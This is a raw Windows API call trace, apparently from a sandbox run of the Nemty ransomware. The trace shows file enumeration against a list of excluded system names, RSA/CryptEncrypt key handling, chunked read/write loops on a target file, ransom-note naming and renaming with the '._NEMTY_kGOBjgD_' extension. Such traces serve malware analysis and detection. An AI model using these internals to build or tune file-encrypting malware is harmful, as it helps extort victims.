WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0146.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0146.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0146.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.582] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd2630, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xadd2630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xadd2630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0146.582] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0146.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0146.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0146.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0146.582] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="...") returned 1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="$RECYCLE.BIN") returned 1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="rsa") returned -1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="NTDETECT.COM") returned -1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="ntldr") returned -1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="MSDOS.SYS") returned -1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="IO.SYS") returned -1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="AUTOEXEC.BAT") returned 1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="desktop.ini") returned 1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="CONFIG.SYS") returned 1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="RECYCLER") returned -1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="BOOTSECT.BAK") returned 1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="programdata") returned -1 [0146.582] lstrcmpiW (lpString1="gadget.xml", lpString2="appdata") returned 1 [0146.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0146.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0146.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0146.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0146.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0146.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0146.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0146.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0146.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0146.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0146.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0146.583] Sleep (dwMilliseconds=0x5) [0146.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xb059d90, dwHighDateTime=0x1d561e8)) [0146.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xb059d90, dwHighDateTime=0x1d561e8)) [0146.591] GetLastError () returned 0x12 [0146.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.591] GetLastError () returned 0x12 [0146.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.591] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0146.591] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0146.591] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0146.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0146.591] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="WZK69XeilOgBngArZ/LrIr1pWVphl+EUqHkxVcGE+t5dJsgk+LgF5yRMQZETE6HF\r\no91qUrQ+X9sxo5mhHnCSE+vGXbD5aUXgXvpGAtzXndZde0tHv05sbLTQIs66YIlv\r\n/gR0DatwcWnytD9nXgFUNmzRKGnmtrycImcJc9/cdp6LrQOsNuAHwtwZMjkTsdn9\r\nCPSDFWziumwB4MOrAuQeBbyOVCxUCjuV8A+AcUxUzXow7VVvcRj8wtUAiApWUu3d\r\nHnIBSGYRf83WcVJ1Z1xW/WLvl6MNaKSaqJhoTEuzMblQO0J95UrbvvvXDb5R9MUS\r\nEHkfZehZ69qEONUC37o2Ow==\r\n", pcchString=0x653e91c) returned 1 [0146.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0146.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0146.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0146.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0146.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0146.592] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.593] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0146.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0146.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.658] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.658] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.676] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.676] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.685] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.686] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0146.698] CloseHandle (hObject=0xffffffff) returned 0 [0146.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0146.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0146.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0146.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0146.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml._nemty_kgobjgd_")) returned 0 [0146.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0146.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0146.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0146.698] 